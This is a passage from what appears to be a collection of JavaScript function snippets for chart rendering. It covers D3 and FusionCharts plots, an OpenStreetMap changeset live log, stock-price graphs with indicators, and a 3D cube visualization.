(d) => determineCusumBarColor(d))\r\n .style(\"opacity\", (d) => determineCusumBarOpacity(d))\r\n\r\n /* //Y Axis Title \r\n svg_time.append(\"text\")\r\n .attr(\"transform\", \"rotate(-90)\")\r\n .attr(\"y\", 0 - axis_title_padding*1.5)\r\n .attr(\"x\",0 - (height / 2))\r\n .attr(\"dy\", \"1em\")\r\n .attr(\"class\",\"axis_text\")\r\n .attr(\"font-weight\",\"bold\")\r\n .attr(\"text-anchor\",\"middle\")\r\n .text(Y_Text_a2); \r\n */\r\n\r\n /***********************************/\r\n /***********************************/\r\n /////////// SCATTER PLOT ///////////\r\n /***********************************/\r\n /***********************************/\r\n dataFrame.then( (data) => {\r\n \r\n /// Filter data by selected hashtag //\r\n data = data.filter(f => f.hashtags == selected_hash)\t\r\n\r\n // Add the scatterplot //\r\n svg_time.selectAll(\"dot\")\r\n .data(data)\r\n .enter().append(\"circle\")\r\n .attr(\"r\", 3)\r\n .attr(\"fill\", function(d) {return colorValue(d.sentiment)})\r\n .attr(\"cx\", function(d) { return xScale_tl(parseTime(d.datetime)); }) //d.dates \r\n .attr(\"cy\", function(d) { return yScale_tl(d.sentiment); })\r\n .on(\"mouseover\", function(d) {\r\n tip2.transition()\r\n .duration(200)\r\n .style(\"opacity\", .9)\r\n .style('display', 'inline');\r\n d3.select(this)\r\n .style(\"stroke\", lineColor);\r\n \r\n \r\n tip2.html(d.text)\r\n .style(\"left\", (d3.event.pageX +15) + \"px\")\r\n .style(\"top\", (d3.event.pageY - 28) + \"px\");\r\n })\r\n\r\n .on(\"mouseout\", function(d) {\r\n tip2.transition()\r\n .duration(500)\r\n .style('display', 'none')\r\n .style(\"opacity\", 0)\r\n d3.select(this)\r\n .style(\"stroke\", \"none\");\r\n \r\n });\r\n \r\n }) ///end dataFrame for Scatter Plot\r\n\r\n });\r\n\r\nreturn svg_time; \r\n} /// end function updateArea2", "function processOptions(plot, options) {\r\n\t\t\t\tif (options.series.curvedLines.active) {\r\n\t\t\t\t\tplot.hooks.processDatapoints.unshift(processDatapoints);\r\n\t\t\t\t}\r\n\t\t\t}", "function chart_plot() {\n// var ly = $(window).height();\n// var lx = $(window).width();\n//\n// var chrtht=(440*ly)/1080;\n\n var dataXMLLine = \"<chart formatnumberscale='0' showRealTimeValue='0' showShadow='0' showToolTip='1' tooltipbgcolor='fff' tooltipbordercolor='fff' connectNullData='1' dataStreamURL='/press' refreshInterval='1' drawAnchors='3' anchorRadius='3' showBorder='0' chartBottomMargin='30' showLegend='0' legendPosition='below' bgAlpha='0,0' numVDivLines='4' showValues='0' outcnvBaseFontColor='000000' alternateHGridAlpha='100' alternateHGridColor='f2f2f2' canvasBorderThickness='1' canvasBorderAlpha='100' canvasBorderColor='cccccc' hoverCapBorderColor='f1f1f2' hoverCapBgColor='f1f1f2' showAnchors='1' canvaspadding='0' showPlotBorder='0' plotborderthickness='1' divlineborderthickness='2' divlinecolor='f1f1f2' divlinealpha='100'><styles><definition><style name='myCaptionFont' type='font' font='Verdana' align='left' size='18' bold='1' underline='1'/></definition><application><apply toObject='Caption' styles='myCaptionFont' /></application></styles><categories><category label='Start'/></categories><dataset seriesName='Channel0' color='29abe2' lineThickness='2'><set value='0'/></dataset><dataset seriesName='Channel1' color='69959c' dashed='1' lineThickness='2'><set value='0'/></dataset><dataset seriesName='Channel2' color='4d4dff' dashed='1' lineThickness='2'><set value='0'/></dataset><dataset seriesName='Channel3' color='1aff1a' dashed='1' lineThickness='2'><set value='0'/></dataset></chart>\";\n\n /* document.getElementsByName\n FusionCharts.setCurrentRenderer('javascript');\n\n var multiline = new FusionCharts('Charts/RealTimeLine.swf', 'chart-2', '100%','105%', '0', '1');\n multiline.setXMLData(dataXMLLine);\n multiline.setTransparent(true);\n multiline.render('multiline');*/\n\n var multiline = new FusionCharts({\n \"type\": \"realtimeline\",\n \"renderAt\": \"multiline\",\n \"width\": \"100%\",\n \"height\": \"105%\",\n \"dataFormat\": \"xml\",\n \"dataSource\": dataXMLLine\n\n });\n multiline.render();\n}", "initializeSerie(data, data_format){\n\n // Save object (Timedata) instance\n var self = this;\n\n // Set SVG Map dimensions\n self.timedata_svg.attr('width', self.svgWidth + self.margin.left + self.margin.right);\n self.timedata_svg.attr('height', self.svgHeight + self.margin.top + self.margin.bottom);\n\n // Define display translation on SVG\n var g = self.timedata_svg.append('g')\n .attr('transform', 'translate(' + self.margin.left + ',' + self.margin.top + ')');\n\n // Define x and y axis scale dimensions with respect to SVG\n var x = d3.scaleTime().rangeRound([0, self.svgWidth - 50]);\n var y = d3.scaleLinear().rangeRound([self.svgHeight, 0]);\n\n // Define line graphic from parsed data\n var line = d3.line()\n .x(function(d){ return x(d.date) })\n .y(function(d){ return y(d.value) });\n\n // Define x and y domain values\n x.domain(d3.extent(data, function(d){ return d.date }));\n y.domain(d3.extent(data, function(d){ return d.value }));\n\n // Add background grid to SVG on x axis\n g.append('g')\n .attr('class', 'grid')\n .call(d3.axisBottom(x).ticks(10)\n .tickSize(self.svgHeight)\n .tickFormat('')\n );\n\n // Add background grid to SVG on y axis\n g.append('g')\n .attr('class', 'grid')\n .call(d3.axisLeft(y).ticks(5)\n .tickSize(-(self.svgWidth-50))\n .tickFormat('')\n );\n\n // Add text on x axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .attr('transform', 'translate(0,' + self.svgHeight + ')')\n .call(d3.axisBottom(x))\n\n // Add a thich line over the x axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .call(d3.axisBottom(x))\n .attr('stroke-width', 2)\n .selectAll('text')\n .remove()\n\n // Add a thich line over the y axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .attr('transform', 'translate(' + parseInt(self.svgWidth - 50) + ', 0)')\n .call(d3.axisLeft(y))\n .attr('stroke-width', 2)\n .selectAll('text')\n .remove()\n\n // Add text on y axis on SVG\n g.append('g')\n .attr('class', 'white_axis')\n .call(d3.axisLeft(y))\n .append('text')\n .attr('id', 'serie_unit')\n .attr('fill', '#000')\n .attr('transform', 'rotate(-90)')\n .attr('y', 6)\n .attr('dy', '0.71em')\n .attr('dx', '-0.71em')\n .attr('text-anchor', 'end')\n .text($(self.dataselection_name).val() +' [' + data_format.units[self.selected_map] +']');\n }", "function nextDataTick(){\n var now = new Date().getTime() / 1000;\n bestPoint = getBestPoint(now);\n\n if (bestPoint == undefined) {\n var bestStamp = now - 140;\nif (dbg) console.log(\"No more good data for \" + new Date(bestStamp*1000) + \")\");\n// console.log(\"Found range \" + firstPoint +\" to \" + lastPoint);\n downloadData(); // downloadData will reschedule the tick\n\n /* We only redraw the heatLayer each download, because it's slow */\n if (map.hasLayer(heatLayer)) {\n heatLayer._redraw();\n }\n\n return;\n }\n \n var cnode = bestPoint[\"cnode\"];\n var mnode = bestPoint[\"mnode\"];\n var dnode = bestPoint[\"dnode\"];\n var cway = bestPoint[\"cway\"];\n var mway = bestPoint[\"mway\"];\n var dway = bestPoint[\"dway\"];\n var crel = bestPoint[\"crel\"];\n var mrel = bestPoint[\"mrel\"];\n var drel = bestPoint[\"drel\"];\n totalCNode += cnode; totalMNode += mnode; totalDNode += dnode;\n totalCWay += cway; totalMWay += mway; totalDWay += dway;\n totalCRel += crel; totalMRel += mrel; totalDRel += drel;\n totalChanges = totalCNode+totalMNode+totalDNode+totalCWay+totalMWay+totalDWay+totalCRel+totalMRel+totalDRel;\n totalChangesets += bestPoint[\"nbChangesets\"];\n\n minutes = (new Date().getTime() - startTime)/60000;\n\n /* Add the point to the graph */\n ++addedPoints;\n {\n series = chart_edits.series[0];\n series.addPoint([bestPoint[\"time\"] * 1000, bestPoint[\"nbChangesets\"]*(60/scale)], false, addedPoints > 10);\n chart_edits.redraw();\n }\n\n if (playing) {\n selectChangeset(bestPoint);\n }\n\n /* Save all changesets in this data point */\n for (var i in bestPoint[\"changesets\"]) {\n allChangesets.push(bestPoint[\"changesets\"][i]);\n }\n\n updateTopMap(bestPoint);\n\n /* Add all to the log */\n {\n\t var heightBefore = $(\"#tailscroll\").get(0).scrollHeight;\n \tvar lastAdded = undefined;\n \tvar allAdded = Array();\n for (var i in bestPoint[\"changesets\"]) {\n var changeset = bestPoint[\"changesets\"][i];\n\t\t\td = new Date(changeset[\"time\"] * 1000);\n\t\t\tvar u = changeset[\"user\"];\n\n /* Also update the seen users counter */\n\t\t\tif ($.inArray(u, seenUsers) >= 0){\n\t\t\t} else {\n\t\t\t\tseenUsers.push(u);\n\t\t\t}\n\t\t\tvar time = $.format.date(d, \"HH:mm:ss\"); // d.getHours() + \":\" + d.getMinutes() + \":\" + d.getSeconds()\n\n\n var html = \"<td class='log_time'><a href=\\\"#\\\" onClick=\\\"setDetailedChangeset(\"+changeset[\"id\"]+\",false);return(false)\\\">\" + time + \"</a></td><td class='log_user'><a target='_blank' href='http://osm.org/user/\"+u+\"'>\" + u + \"</a></td>\";\n\t/* html += \"<td class='log_cnode'>\" + changeset[\"cnode\"] + \"</td><td class='log_mnode'>\" + changeset[\"mnode\"] + \"</td><td class='dog_cnode'>\" + changeset[\"dnode\"] + \"</td>\";\n\t\t\t\t\thtml += \"<td class='log_cway'>\" + changeset[\"cway\"] + \"</td><td class='log_mway'>\" + changeset[\"mway\"] + \"</td><td class='log_dway'>\" + changeset[\"dway\"] + \"</td>\";\n\t\t\t\t\thtml += \"<td class='log_crel'>\" + changeset[\"crel\"] + \"</td><td class='log_mrel'>\" + changeset[\"mrel\"] + \"</td><td class='log_drel'>\" + changeset[\"drel\"] + \"</td>\";\n\t\t\t\t\t*/\n\t\t\tvar total =\n\t\t\t\tparseInt( changeset[\"cnode\"]) + parseInt( changeset[\"mnode\"])+ parseInt( changeset[\"dnode\"]) +\n\t\t\t\tparseInt( changeset[\"cway\"]) + parseInt( changeset[\"mway\"])+ parseInt( changeset[\"dway\"]) +\n\t\t\t\tparseInt( changeset[\"crel\"]) + parseInt( changeset[\"mrel\"])+ parseInt( changeset[\"drel\"]);\n\t\t\thtml += \"<td class='log_edits'><a target='_blank' href='http://osm.org/browse/changeset/\"+changeset[\"id\"]+\"'>\" + total + \"</a>\"\n html += \"</td><td class='log_right'></td>\";\n html += \"<td>\" + getFlagImgHtml(changeset) + \"</td>\";\n/*\n\t\t\tif (changeset[\"minLat\"] != \"-90.0\") {\n\t\t\t\t// Zoom button (on top map)\n\t\t\t\thtml += \"<td class='log_zoom' width=\\\"50%\\\">\";\n\t\t\t\thtml += \"<a class='log_zoombig' href=\\\"#\\\" onclick=\\\"var sw= new L.LatLng(\" + changeset[\"minLat\"] + \",\"\n\t\t\t\t\t+ changeset[\"minLon\"] + \"),ne = new L.LatLng(\" + changeset[\"maxLat\"] + \",\"\n\t\t\t\t\t+ changeset[\"maxLon\"] + \"), bounds = new L.LatLngBounds(sw, ne); map.fitBounds(bounds);\\\">Zoom on top map</a> \";\n \t\t\t\t// Details button\n\t\t\t html += \"<a class='log_zoomsmall' href=\\\"#\\\" onclick=\\\"detailChangeset(\" +changeset[\"id\"] + \",'\"+ changeset[\"user\"] + \"',\"\n\t\t\t\t\t+ changeset[\"minLat\"] + \",\"+ changeset[\"minLon\"] + \",\"+ changeset[\"maxLat\"] + \",\"\n\t\t\t\t\t+ changeset[\"maxLon\"] + \",\" + changeset[\"cnode\"] + \",\" + changeset[\"mnode\"] + \",\"\n\t\t\t\t\t\t+ changeset[\"dnode\"] + \",\" + changeset[\"cway\"] + \",\" + changeset[\"mway\"] + \",\"\n\t\t\t\t\t\t+ changeset[\"dway\"] + \",\" + changeset[\"crel\"] + \",\" + changeset[\"mrel\"] + \",\"\n\t\t\t\t\t\t+ changeset[\"drel\"] + \")\\\">Select</a></td>\";\n\t\t\t\t} else {\n\t\t\t\t\thtml += \"<td>N/A</td>\";\n\t\t\t\t}\n*/\n\t\t\tvar zhtml = $(\"<tr />\").html(html);\n changeset[\"logItem\"] = zhtml;\n\t\tzhtml.hide();\n\t\t\t zhtml.appendTo(\"#tailtable\");\n\t\t\t lastAdded = zhtml;\n\t\t\t allAdded.push(zhtml);\n }\t\n }\n\n /* Go bottom map ! */\n for (var i in bestPoint[\"changesets\"]) {\n var changeset = bestPoint[\"changesets\"][i];\n if (changeset[\"selected\"]) {\n setDetailedChangeset(changeset[\"id\"],true);\n }\n }\n\n /* Scroll the log */\n\tfor (var i in allAdded) {\n\t\t\t$(allAdded[i]).show();\n//\t\t\t$(\"#tailscroll\").animate({scrollTop: heightBefore}, 0);\n\t}\n\tvar newHeight = $(\"#tailscroll\").get(0).scrollHeight;\n//\tconsole.log(\"Scrolling \" + (newHeight-heightBefore));\n if (playing) {\n \t$(\"#tailscroll\").animate({scrollTop: newHeight/* \"+=\" + (newHeight-heightBefore) + \"px\"*/}, 'easeOutBack');\n }\n//:\t\t$(\"#tailscroll\").animate({scrollTop: newHeight}, 'easeOutBack');\n//\t\tif (lastAdded != undefined) {\n//\t\t\t$(\"#tailscroll\").scrollTo(lastAdded, 'easeOutBack');\t\n//\t\t}\n\n\t// update global counters\n\t$(\"#count_edits\").html(\"\" + totalChanges);\n\t// $(\"#count_changesets\").html(\"\" + totalChangesets);\n\t$(\"#count_users\").html(\"\" + seenUsers.length);\n\t$(\"#count_minutes\").html(\"\" + (minutes.toFixed(0))+\"'\");\n\n setButtonsState();\n\n setTimeout(nextDataTick, scale * 1000);\n\n} // function nextDataTick", "function TimeframeChartsContainer(params) {\n\n 'use strict';\n\n //[Meta].\n var self = this;\n self.TimeframeChartsContainer = true;\n\n //Properties.\n var parent = params.parent;\n var key = params.key || mielk.numbers.generateUUID();\n //self.singleItemWidth = STOCK.CONFIG.candle.width;\n\n //Data sets.\n var dataSet;\n var properties;\n var quotations;\n\n //UI.\n var controls = { };\n var timeScale;\n var charts = {};\n self.offset = {\n value: -50,\n min: -100,\n max: undefined\n }\n\n\n function initialize() {\n //Generate GUI.\n loadControls();\n\n //Load data set and its properties.\n dataSet = parent.company.getDataSet(parent.timeframe);\n dataSet.loadProperties(loadProperties);\n\n //Draw actual chart.\n loadCharts();\n loadTimeScale();\n\n //Assign events. It must be placed here, after charts and time scale is already loaded.\n assignEvents();\n\n dataSet.loadQuotations(loadQuotations);\n\n }\n\n function loadControls() {\n controls.container = $('<div/>', {\n 'class': 'timeframe-charts-container',\n id: 'chart-container-' + key\n }).css({\n 'background-color': 'red'\n }).appendTo(params.container);\n\n }\n\n function assignEvents() {\n\n }\n\n function loadProperties($properties) {\n properties = $properties;\n properties.width = properties.realQuotationsCounter * STOCK.CONFIG.candle.width;\n }\n\n function loadQuotations(result) {\n quotations = result;\n\n //Set max offset.\n self.offset.max = result.arr.length * STOCK.CONFIG.candle.width\n - $(controls.container).width()\n + STOCK.CONFIG.valueScale.width;\n\n //Propagate to charts.\n var arrCharts = mielk.arrays.fromObject(charts);\n arrCharts.forEach(function (chart) {\n chart.loadQuotations(result);\n });\n\n }\n\n function loadTimeScale() {\n //Load date scale. This is the first moment, when this is possible, because \n //earlier it was not known how many quotations this chart will contain.\n timeScale = new ChartTimeScale({\n parent: self\n , container: controls.container\n , counter: properties.realQuotationsCounter\n , firstDate: properties.firstDate\n , lastDate: properties.lastDate\n , width: properties.width\n });\n }\n\n function loadCharts() {\n addChart(STOCK.INDICATORS.PRICE, 0);\n addChart(STOCK.INDICATORS.MACD, 1);\n //addChart(STOCK.INDICATORS.ADX, 2);\n }\n\n function addChart(type, index) {\n charts[type.name] = new Chart({\n parent: self,\n key: key,\n index: index,\n type: type,\n container: controls.container,\n visible: parent.settings[type.name].visible,\n height: type.initialHeight,\n width: properties.width,\n properties: parent.settings[type.name].properties\n });\n }\n\n\n\n function activate() {\n $(controls.container).css({\n 'display': 'block',\n 'visibility': 'visible'\n });\n }\n\n function deactivate() {\n $(controls.container).css({\n 'display': 'none',\n 'visibility': 'hidden'\n });\n }\n\n self.slide = function (offset) {\n var $offset = self.offset.value + offset;\n self.offset.value = Math.max(Math.min($offset, self.offset.max), self.offset.min);\n\n mielk.arrays.fromObject(charts).forEach(function (chart) {\n chart.slide(self.offset);\n });\n }\n\n self.scale = function () {\n mielk.arrays.fromObject(charts).forEach(function (chart) {\n chart.render();\n });\n }\n\n //Public API.\n self.bind = function (e) {\n $(self).bind(e);\n }\n self.trigger = function (e) {\n $(self).trigger(e);\n }\n self.activate = activate;\n self.deactivate = deactivate;\n self.parent = parent;\n self.timeframe = function () {\n return parent.timeframe;\n }\n\n\n initialize();\n\n\n}", "function processData(data, tt) {\n console.log(\"Starting processing...\")\n\n // ************************** GRID ***************************** //\n\n /* ----------- X AND Y AXES ----------- */\n var yScale3d = d3._3d()\n .shape('LINE_STRIP')\n .origin(origin)\n .rotateY(startAngle)\n .rotateX(-startAngle)\n .scale(scale);\n\n var xScale3d = d3._3d()\n .shape('LINE_STRIP')\n .origin(origin)\n .rotateY(startAngle)\n .rotateX(-startAngle)\n .scale(scale);\n\n\n /* -------------- y-Scale -------------- */\n var yScale = svg.selectAll('path.yScale').data(data[1]);\n yScale\n .enter()\n .append('path')\n .attr('class', '_3d yScale')\n .merge(yScale)\n .attr('stroke', 'black')\n .attr('stroke-width', 1)\n .attr('d', yScale3d.draw);\n\n yScale.exit().remove();\n\n\n /* --------------- x-Scale --------------- */\n var xScale = svg.selectAll('path.xScale').data(data[2]);\n xScale\n .enter()\n .append('path')\n .attr('class', '_3d yScale')\n .merge(xScale)\n .attr('stroke', 'black')\n .attr('stroke-width', 1)\n .attr('d', xScale3d.draw);\n\n xScale.exit().remove();\n\n\n /* -------------- y-Scale Text -------------- */\n var yText = svg.selectAll('text.yText').data(data[1][0]);\n yText\n .enter()\n .append('text')\n .attr('class', '_3d yText')\n .attr('dx', '.3em')\n .merge(yText)\n .each(function (d) {\n d.centroid = { x: d.rotated.x, y: d.rotated.y, z: d.rotated.z };\n })\n .attr('x', function (d) { return d.projected.x; })\n .attr('y', function (d) { return d.projected.y; })\n .text(function (d, i) {\n if( i < yLabel.length){\n return yLabel[i];\n }\n });\n yText.exit().remove();\n\n\n /* ----------- x-Scale Text ----------- */\n var xText = svg.selectAll('text.xText').data(data[2][0]);\n xText\n .enter()\n .append('text')\n .attr('class', '_3d xText')\n .attr('dx', '.3em')\n .merge(xText)\n .each(function (d) {\n d.centroid = { x: d.rotated.x, y: d.rotated.y, z: d.rotated.z };\n })\n .attr('x', function (d) { return d.projected.x; })\n .attr('y', function (d) { return d.projected.y; })\n .text(function (d, i) {\n if ((i + 1) % yLabel.length == 0) {\n return xLabel[(i + 1) / yLabel.length - 1];\n }\n });\n xText.exit().remove();\n\n\n // ************************** CUBES ***************************** //\n\n var cubes = cubesGroup.selectAll('g.cube').data(data[0], function (d) { return d.id });\n\n var ce = cubes\n .enter()\n .append('g')\n .attr('class', 'cube')\n .attr('fill', function (d) { console.log(\"MY COLOR SHOULD BE\", d.ycolor);\n return color(d.ycolor);\n })\n .attr('stroke', function (d) { return d3.color(color(d.ycolor)).darker(2);})\n .merge(cubes)\n .sort(cubes3D.sort)\n\n /** THIS IS THE INFO ON THE PREVIOUS TOOLTIP\n .html('<div style=\"font-size: 2rem; font-weight: bold\">'+ d.id +'</div>')\n .style('left', (origin[0]-400) + 'px')\n .style('top', (300) + 'px') ***/\n\n // --------------------- NEW ON-CLICK OPTIONS --------------------- //\n\n .on('click', function (d) {\n\n // IF NOTHING IS SELECTED\n if (arraySize == 0) {\n tempColor = this.style.fill;\n // temp_colors[0] = tempColor;\n // console.log(\"This cube color is selected\", temp_colors[0]);\n selected[0] = this\n arraySize = 1;\n console.log(\"This cube is selected\", selected);\n\n //SELECT THE CURRENT CUBE\n d3.select(this)\n .style('fill', 'yellow')\n\n //DISPLAY THE TEXT\n draw_information(d, \"visible\");\n }\n\n // IF SELECTED AGAIN\n else if(arraySize == 1 && Object.is(this, selected[0])){\n\n //REMOVE THE TEXT OF THE TOOLTIP\n draw_information(d, \"hidden\");\n\n //AND RESTORE THE COLOR\n d3.select(this)\n .style('fill', tempColor)\n arraySize = 0;\n console.log(\"This cube is selected again\", selected[0]);\n }\n\n //IF ANOTHER CUBE IS SELECTED\n else if(!Object.is(this, selected[0])){\n draw_information(d, \"hidden\")\n tempColor = this.style.fill;\n console.log(\"another cube is selected\", selected[0]);\n var tempCube = selected[0]\n\n //the text is hidden automatically\n\n //AND RESTORE THE COLOR\n d3.select(tempCube)\n .style('fill', tempColor)\n\n //SELECT THE CURRENT CUBE\n selected[0] = this;\n d3.select(this)\n .style('fill', 'yellow')\n\n //ADD NEW TEXT TO THE TOOLTIP\n draw_information(d, \"visible\");\n\n }\n\n })\n\n\n /* --------- FACES ---------*/\n\n var faces = cubes\n .merge(ce)\n .selectAll('path.face')\n .data(function(d){ return d.faces; }, function(d){ return d.face; });\n\n faces\n .enter()\n .append('path')\n .attr('class', 'face')\n .attr('fill-opacity', 0.95)\n .classed('_3d', true)\n .merge(faces)\n .transition().duration(tt)\n .attr('d', cubes3D.draw);\n\n faces.exit().remove();\n\n console.log(\"exiting the svg\")\n cubes.exit().remove(); //VERY IMPORTANT STEP\n\n /* --------- SORT TEXT & FACES ---------*/\n\n ce.selectAll('._3d').sort(d3._3d().sort);\n console.log(\"The very last step\")\n }", "function draw_line_graph() {\n\n\tif (!validate_input()) {\n\t\talert(\"Please enter valid inputs before testing\");\n\t\treturn;\n\t}\n\n\t// Retrieves and parses data\n\n\tvar dates = parse_dates();\n\tvar start_date = dates[\"start_date\"];\n\tvar end_date = dates[\"end_date\"];\n\tvar train_date = dates[\"train_date\"];\n\n\t// Collects selected algorithm values\n\tvar algorithms = [];\n\t$(\"#algorithms\").next().children().each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\talgorithms.push($(this).val());\n\t\t}\n\t});\n\n\tvar indicators_options = {};\n\t$(\"#indicators\").next().children().filter(\"li\").each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\tindicators_options[IND_NAMES[$(this).index()]] = $(this).next().val();\n\t\t}\n\t});\n\n\t// Collects selected option values\n\tvar options = [];\n\t$(\"#options\").next().children().each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\toptions.push($(this).val());\n\t\t}\n\t});\n\n\t// Collects selected absolute extrema algorithm values\n\tvar abs_extrema_options = [];\n\t$(\"#abs-options\").children().each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\tabs_extrema_options.push($(this).val());\n\t\t}\n\t});\n\n\t// Collects selected local extrema algorithm values\n\tvar loc_extrema_options = [];\n\t$(\"#loc-options\").children().each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\tloc_extrema_options.push($(this).val());\n\t\t}\n\t});\n\n\t// Collects selected volatility regions algorithm values\n\tvar vol_regions_options = [];\n\t$(\"#vol-options\").children().each(function() {\n\t\tif ($(this).css(\"border-right-width\") == \"10px\") {\n\t\t\tvol_regions_options.push($(this).val());\n\t\t}\n\t});\n\n\n\n\t// Sets up SVG elements\n\n\n\n\t// Clears the display and adds loading animation\n\t$(\"#display\").empty();\n\t$(\"#display\").append('<div class=\"spinner\"><div class=\"double-bounce1\"></div><div class=\"double-bounce2\"></div></div>');\n\n\t// Sets the dimensions of the canvas / graph\n\tvar max_x = $(\"#display\").width();\n\tvar max_y = $(\"#display\").height();\n\tmargin = {top: 20, right: 180, bottom: 30, left: 80};\n\twidth = max_x - margin.left - margin.right;\n\theight = max_y - margin.top - margin.bottom - 20;\n\n\t// console.log(width);\n\t// console.log(height);\n\t// console.log(margin);\n\n\t// Sets the date parsing function\n\tvar parseDate = d3.time.format(\"%Y-%m-%d\").parse;\n\n\t// Set the ranges\n\tvar x = d3.time.scale()\n\t\t.range([0, width]);\n\n\tvar y = d3.scale.linear()\n\t\t.range([height, 0]);\n\n\t// Assigns colors to ordinal scale\n\t// NOTE: Only range is set here; domain is specified after data is loaded\n\t// var color = d3.scale.category10();\n\tvar color = d3.scale.ordinal().range([\"#4CAF50\", \"#94BAFF\", \"#FF9696\", \"#FFDC9C\", \"#CEADFF\"]);\n\n\t// Define the axes\n\tvar xAxis = d3.svg.axis()\n\t\t.scale(x)\n\t\t.orient(\"bottom\");\n\n\tvar yAxis = d3.svg.axis()\n\t\t.scale(y)\n\t\t.orient(\"left\");\n\n\t// Define the line\n\tvar line = d3.svg.line()\n\t\t// Makes lines curvy\n\t\t.interpolate(\"basis\")\n\t\t.x(function(d) { return x(d.date); })\n\t\t.y(function(d) { return y(d.close); });\n\n\n\n\t// Gets the data\n\n\tvar request_data = {\"start_date\": start_date, \"end_date\": end_date, \"train_date\": train_date, \"algorithms\": algorithms,\n\t\t\t\t\t\t\"indicators_options\": indicators_options, \"options\": options, \"abs_extrema_options\": abs_extrema_options,\n\t\t\t\t\t\t\"loc_extrema_options\": loc_extrema_options, \"vol_regions_options\": vol_regions_options,};\n\n\t// NOTE: make sure to stringify objects before sending request\n\td3.json(\"/ajax/get_data/\").post(JSON.stringify(request_data), function(error, all_data) {\n\t\tif (error) return console.warn(error);\n\n\t\t// gets price data\n\t\tvar data = all_data[\"data\"];\n\t\tvar indicators = all_data[\"indicators\"];\n\t\tvar abs_min = all_data[\"abs_min\"];\n\t\tvar abs_max = all_data[\"abs_max\"];\n\t\tvar loc_min = all_data[\"loc_min\"];\n\t\tvar loc_max = all_data[\"loc_max\"];\n\t\tvar low_vol = all_data[\"low_vol_regions\"];\n\t\tvar high_vol = all_data[\"high_vol_regions\"];\n\n\t\t// Sorts the data by descending date (later date --> larger index)\n\t\tdata.sort(function(a, b) {\n\t\t\treturn new Date(a.date) - new Date(b.date);\n\t\t});\n\n\n\n\t\t// Uses the data\n\n\t\t// Clears the display\n\t\t$(\"#display\").empty();\n\n\t\t// Adds the svg canvas and its inner g element (variable svg is the g element)\n\t\tvar svg = d3.select(\"#display\").append(\"svg\")\n\t\t\t.attr(\"width\", width + margin.left + margin.right)\n\t\t\t.attr(\"height\", height + margin.top + margin.bottom)\n\t\t.append(\"g\")\n\t\t\t.attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n\t\t// Applies the color scale to the domain (price at point in time)\n\t\t// NOTE: Must use \"!= date\" since prices have different names depending on the dictionary\n\t\tcolor.domain(d3.keys(data[0]).filter(function(key) { return key != \"date\"; }));\n\n\t\t// Parses the dates from each dictionary in the data\n\t\tdata.forEach(function(d) {\n\t\t\td.date = parseDate(d.date);\n\t\t});\n\n\t\t// Maps each algorithm to a different color in the color scale\n\t\tvar algorithms = color.domain().map(function(name) {\n\t\t\treturn {\n\t\t\t\tname: name,\n\t\t\t\tvalues: data.map(function(d) {\n\t\t\t\t\treturn {date: d.date, close: d[name]};\n\t\t\t\t})\n\t\t\t};\n\t\t});\n\n\t\t// Scale the domains of the data\n\t\tx.domain(d3.extent(data, function(d) { return d.date; }));\n\n\t\ty.domain([\n\t\t\td3.min(algorithms, function(c) { return d3.min(c.values, function(v) { return v.close; }); }),\n\t\t\td3.max(algorithms, function(c) { return d3.max(c.values, function(v) { return v.close; }); })\n\t\t]);\n\n\t\t// Add the x-axis\n\t\tsvg.append(\"g\")\n\t\t\t.attr(\"class\", \"x axis\")\n\t\t\t.attr(\"transform\", \"translate(0,\" + height + \")\")\n\t\t\t.call(xAxis);\n\n\t\t// Add the y-axis\n\t\tsvg.append(\"g\")\n\t\t\t.attr(\"class\", \"y axis\")\n\t\t\t.call(yAxis)\n\t\t.append(\"text\")\n\t\t\t.attr(\"transform\", \"rotate(-90)\")\n\t\t\t.attr(\"y\", 6)\n\t\t\t.attr(\"dy\", \".71em\")\n\t\t\t.style(\"text-anchor\", \"end\")\n\t\t\t.text(\"Closing Price ($)\");\n\n\t\t// Add the algorithm svg element (container) and its associated data\n\t\tvar algorithm = svg.selectAll(\"algo\")\n\t\t\t.data(algorithms)\n\t\t.enter().append(\"g\")\n\t\t\t.attr(\"class\", \"algo\");\n\n\t\t// Adds path between data points\n\t\talgorithm.append(\"path\")\n\t\t\t.attr(\"class\", \"line\")\n\t\t\t.attr(\"d\", function(d) { return line(d.values); })\n\t\t\t.style(\"stroke\", function(d) { return color(d.name); });\n\n\t\t// Adds algorithm's text (text appears .35em above and 3px to the right of the end)\n\t\talgorithm.append(\"text\")\n\t\t\t.datum(function(d) { return {name: full_algo_name(d.name), value: d.values[d.values.length - 1]}; })\n\t\t\t.attr(\"transform\", function(d) { return \"translate(\" + x(d.value.date) + \",\" + y(d.value.close) + \")\"; })\n\t\t\t.attr(\"x\", 3)\n\t\t\t.attr(\"dy\", \".3em\")\n\t\t\t.text(function(d) { return d.name; });\n\n\n\n\t\t// Functions for adding indicators\n\t\tplot_indicators(indicators, data, svg, x, y, parseDate);\n\n\t\t// Functions for adding extrema\n\t\tabsolute_extrema(abs_min, abs_max, abs_extrema_options, svg, x, y, parseDate);\n\t\tlocal_extrema(loc_min, loc_max, loc_extrema_options, svg, x, y, parseDate);\n\n\t\t// Functions for adding volatility regions\n\t\tvol_regions(low_vol, high_vol, vol_regions_options, svg, x, parseDate);\n\n\n\t\t// Formatting functions\n\t\tvar formatValue = d3.format(\",.2f\");\n\t\tvar formatCurrency = function(d) { return \"$\" + formatValue(d); };\n\n\t\t// Bisection function - returns index of array nearest to current x\n\t\tvar bisectDate = d3.bisector(function(d) {\n\t\t\treturn d.date;\n\t\t}).left;\n\n\t\t// Bisects the mouse's x position to obtain the nearest value in the data array\n\t\tfunction getNearestX(elem, offset) {\n\t\t\tif (offset == null) offset = 0;\n\t\t\t// Finds date at mouse\n\t\t\tvar x0 = x.invert(d3.mouse(elem)[0] - offset);\n\t\t\t// Gets bisection (index) of date at mouse\n\t\t\tvar i = bisectDate(data, x0, 1);\n\t\t\t// Gets date immediately before mouse and compares to date at mouse to see which one 